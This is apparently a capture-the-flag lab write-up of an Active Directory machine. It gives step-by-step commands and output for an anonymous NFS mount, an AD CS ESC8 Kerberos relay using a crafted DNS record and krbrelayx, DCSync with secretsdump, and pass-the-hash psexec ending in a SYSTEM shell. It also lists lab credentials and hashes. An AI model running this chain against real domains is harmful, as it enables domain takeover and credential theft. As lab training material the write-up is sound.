Summary
Started with a full nmap sweep that showed a standard Domain Controller (DNS, Kerberos, LDAP, SMB, RPC) but with two extra things worth noting: an NFS server running alongside it, and AD CS (Certificate Services) installed. Anonymous/guest SMB and LDAP were both shut down, and it turned out NTLM is disabled domain-wide - Kerberos only.
The NFS export was the actual opening: /profiles was mountable by anyone, no creds needed. Inside one of the profile folders was an image with a plaintext password hidden in it, which gave a working domain account. From there, enumeration turned up AD CS being vulnerable to ESC8 (web enrollment over HTTP). Because NTLM was off, a normal NTLM relay into ADCS didn't work, so I had to relay Kerberos itself instead, using a DNS trick to redirect the DC's own coerced authentication into a rogue relay server. That got a certificate for the DC's machine account, which turned into a TGT + NT hash, which turned into a DCSync, which turned into the Administrator hash, which turned into a SYSTEM shell.
Recon
nmap -A -Pn <machine-ip> -oA nmap
-Pn because AD boxes often block ICMP and I don't want nmap deciding the host is down. -A grabs versions, OS guess and default scripts in one go.
53/tcp domain Simple DNS Plus
80/tcp http Microsoft IIS httpd 10.0
88/tcp kerberos-sec
111/tcp rpcbind -> nfs (2049), mountd
135,139,445 msrpc / netbios-ssn / microsoft-ds
389,636,3268,3269 ldap / ldaps (Domain: cicada.vl)
464/tcp kpasswd5
593/tcp ncacn_http
2049/tcp mountd/nfs
3389/tcp ms-wbt-server
5985/tcp WinRM
Straightforward DC (DC-JPQ225.cicada.vl), but NFS on a Windows DC is unusual and worth poking at, and port 80 later turns out to be the ADCS web enrollment page.
Ruling out the easy stuff
nxc smb <machine-ip> -u '' -p ''
nxc smb <machine-ip> -u 'guest' -p ''
nxc ldap <machine-ip> -u '' -p ''
All three came back STATUS_NOT_SUPPORTED, which is the tell for NTLM being disabled entirely on this domain — it's Kerberos-only. That one detail ends up shaping the whole rest of the box.
Added the DC to /etc/hosts so Kerberos SPNs resolve properly later:
echo '<machine-ip> cicada.vl DC01.cicada.vl dc01.cicada.vl' >> /etc/hosts
NFS — the actual foothold
rpcinfo -p <machine-ip>
showmount -e <machine-ip>
Export list for <machine-ip>:
/profiles (everyone)
(everyone) means it's exported with zero access restriction — mount it from anywhere:
mkdir -p /mnt/profiles
mount -t nfs <machine-ip>:/profiles /mnt/profiles
ls /mnt/profiles
tree -a
.
├── Administrator
│ ├── Documents
│ │ ├── $RECYCLE.BIN
│ │ │ └── desktop.ini
│ │ └── desktop.ini
│ └── vacation.png
├── Daniel.Marshall
├── Debra.Wright
├── Jane.Carter
├── Jordan.Francis
├── Joyce.Andrews
├── Katie.Ward
├── Megan.Simpson
├── Richard.Gibbons
├── Rosie.Powell
│ ├── Documents
│ │ ├── $RECYCLE.BIN
│ │ │ └── desktop.ini
│ │ └── desktop.ini
│ └── marketing.png
└── Shirley.West
16 directories, 6 files
One folder per domain user (roaming profiles), and two stray image files sitting in there: Administrator/vacation.png and Rosie.Powell/marketing.png.
cp Administrator/vacation.png /home/kali/htb/vuln
cp Rosie.Powell/marketing.png /home/kali/htb/vuln
(pics below)
vacation.png was just a vacation photo, nothing in it. marketing.png was weird — it wouldn't open properly in a Linux image viewer but opened fine on Windows, which usually means there's extra data appended after the actual image data. Opening it on Windows showed a little note with a plaintext password:
Cicada123
sitting right there in Rosie Powell's profile folder, so the obvious guess is it's her password.
Confirming the leaked creds
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123
Failed with STATUS_NOT_SUPPORTED again — right, NTLM's off. Add -k to force it through Kerberos instead:
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k
That worked — cicada.vl\Rosie.Powell:Cicada123 is valid.
Mapping the domain
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k --users
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k --shares
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -k --rid-brute
Basic sweep of users, shares, and SIDs now that there's a valid account to enumerate with.
Shares worth noting:
CertEnroll READ Active Directory Certificate Services share
profiles$ READ,WRITE
CertEnroll confirms AD CS is running here, which is where this is heading next.
Grabbed a proper Kerberos ticket so tools that expect a ccache instead of a raw password work cleanly:
impacket-getTGT cicada.vl/Rosie.Powell:Cicada123
export KRB5CCNAME=Rosie.Powell.ccache
klist
AD CS — ESC8
certipy find -u 'Rosie.Powell@cicada.vl' -p 'Cicada123' -k \
-target DC-JPQ225.cicada.vl -vulnerable -stdout
certipy find -vulnerable checks every template and the CA config against the known ESC1–ESC16 misconfig list automatically instead of having to eyeball ACLs by hand.
Web Enrollment
HTTP Enabled: True
HTTPS Enabled: False
...
[!] Vulnerabilities
ESC8: Web Enrollment is enabled over HTTP.
ESC8 basically means the certificate enrollment page (/certsrv/certfnsh.asp) accepts requests over plain HTTP, which can't do Kerberos/NTLM signing. That makes it relayable - whatever authentication we manage to capture or redirect can be forwarded straight into a cert request as that identity.
First relay attempt (and why it didn't work)
certipy relay -target 'http://dc-jpq225.cicada.vl' -template DomainController -debug
Stands up a rogue SMB listener waiting for something to relay into the ADCS endpoint. To get the DC talking to us, threw the usual coercion tricks at it:
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -d cicada.vl \
-k -M coerce_plus -o LISTENER=<your-ip>
coerce_plus tries DFSCoerce, PetitPotam, PrinterBug and MS-EVEN all at once to make the DC open a connection back to us. All three came back "Exploit Success," but the certipy relay session just sat there and timed out. Makes sense in hindsight — since NTLM is disabled, the DC's coerced connection is authenticating with Kerberos, and a normal relay setup has nothing to do with that.
The actual technique - relaying Kerberos itself
Went looking for how people deal with Kerberos-only environments for this kind of attack, and found two good writeups on it:
- https://www.thehacker.recipes/ad/movement/kerberos/relay
- https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx
The gist: when a Windows client resolves the SPN for an outgoing Kerberos SMB connection, it appends a Base64 "target info" blob onto the end of the hostname behind the scenes (CredMarshalTargetInfo). If you register a DNS record whose name is <hostname><that marshaled blob>, the client requests a Kerberos ticket for the short, real SPN (e.g. cifs/DC-JPQ225) — but the actual TCP connection goes wherever that DNS record points, because Windows strips the extra blob back off before it ever reaches the Kerberos layer. So you get a legit AP_REQ for the real service, delivered to whatever IP you want.
Built the marshaled blob and registered it as a DNS record pointing at my box:
bloodyAD -k --host DC-JPQ225.cicada.vl -d cicada.vl -u Rosie.Powell -p Cicada123 \
add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" <your-ip>
Checked it resolved:
dig @<machine-ip> DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl A +time=5
...
;; ANSWER SECTION:
... IN A <your-ip>
Spun up krbrelayx instead of ntlmrelayx, since it actually understands Kerberos AP_REQ messages on its SMB listener and can hand them straight to the ADCS relay module:
python3 krbrelayx.py -t 'http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp' \
--adcs --template DomainController -v 'DC-JPQ225$'
Then coerced the DC again, this time pointing it at the poisoned DNS name instead of a plain IP:
nxc smb <machine-ip> -u Rosie.Powell -p Cicada123 -d cicada.vl -k \
-M coerce_plus -o LISTENER="DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" METHOD=Petitpotam
This time it landed:
[*] SMBD: Received connection from <machine-ip>
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] GOT CERTIFICATE! ID 89
[*] Writing PKCS#12 certificate to ./DC-JPQ225.pfx
Now sitting on a valid certificate for the domain controller's own machine account.
Turning the cert into domain compromise
certipy auth -pfx DC-JPQ225.pfx -dc-ip <machine-ip>
certipy auth does PKINIT with the cert to pull a real TGT for DC-JPQ225$, and along the way also grabs its NT hash.
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435...:a65952c664e9cf5de60195626edbeee3
export KRB5CCNAME=dc-jpq225.ccache
klist
Machine accounts on a DC have replication rights baked in (same rights DCSync abuses), so with a valid ticket as DC-JPQ225$ a DCSync just works:
impacket-secretsdump -k -no-pass cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl
That dumped every account's hashes. Only really needed Administrator, so a scoped rerun:
impacket-secretsdump -k -no-pass -just-dc-user Administrator \
cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
Administrator:aes256-cts-hmac-sha1-96:f9181ec2...
Administrator:aes128-cts-hmac-sha1-96:926e5da4...
(the full run also pulled NT/AES/DES keys for the rest of the domain users, krbtgt, and the DC's own account - leaving that out here since only Administrator's hash was needed to finish)
Getting a shell
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87 \
-k cicada.vl/Administrator@dc-jpq225.cicada.vl -dc-ip <machine-ip>
Pass-the-hash straight into psexec, routed through Kerberos with -k since that's what the domain wants. No cracking needed, the NT hash alone is enough to authenticate.
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop> dir
09/15/2024 06:26 AM 2,304 Microsoft Edge.lnk
06/30/2026 11:36 PM 34 root.txt
06/30/2026 11:36 PM 34 user.txt
C:\Users\Administrator\Desktop> type user.txt
[REDACTED]
C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
Domain Admin, done.
Key Vulnerabilities
- NFS export
/profilesmountable by(everyone)with no authentication at all. - Plaintext password sitting inside an image file on that share.
- AD CS misconfigured with ESC8 — web enrollment enabled over HTTP, no signing enforced.
- Coercion methods (PetitPotam, DFSCoerce, PrinterBug, MS-EVEN) all working against the DC.
- The Kerberos SPN target-info stripping behavior let a coerced Kerberos connection be redirected to an attacker host via a crafted DNS record, even with NTLM fully disabled.
- DC machine account has default replication rights, making DCSync possible once its identity was captured.
Attack Chain
Anonymous NFS mount (/profiles exported to everyone)
└── Plaintext password found in marketing.png (Rosie.Powell:Cicada123)
└── Valid domain login (Kerberos-only, NTLM disabled)
└── AD CS enumerated → ESC8 (HTTP web enrollment, no signing)
└── Coercion (PetitPotam) + DNS SPN trick + krbrelayx
└── Kerberos AP_REQ relayed into ADCS HTTP endpoint
└── Certificate issued for DC-JPQ225$ (DomainController template)
└── PKINIT (certipy auth) → TGT + NT hash for DC-JPQ225$
└── DCSync (secretsdump) using DC machine account
└── Administrator NT hash recovered
└── Pass-the-hash + Kerberos (psexec)
└── SYSTEM shell on DC-JPQ225
Top comments (0)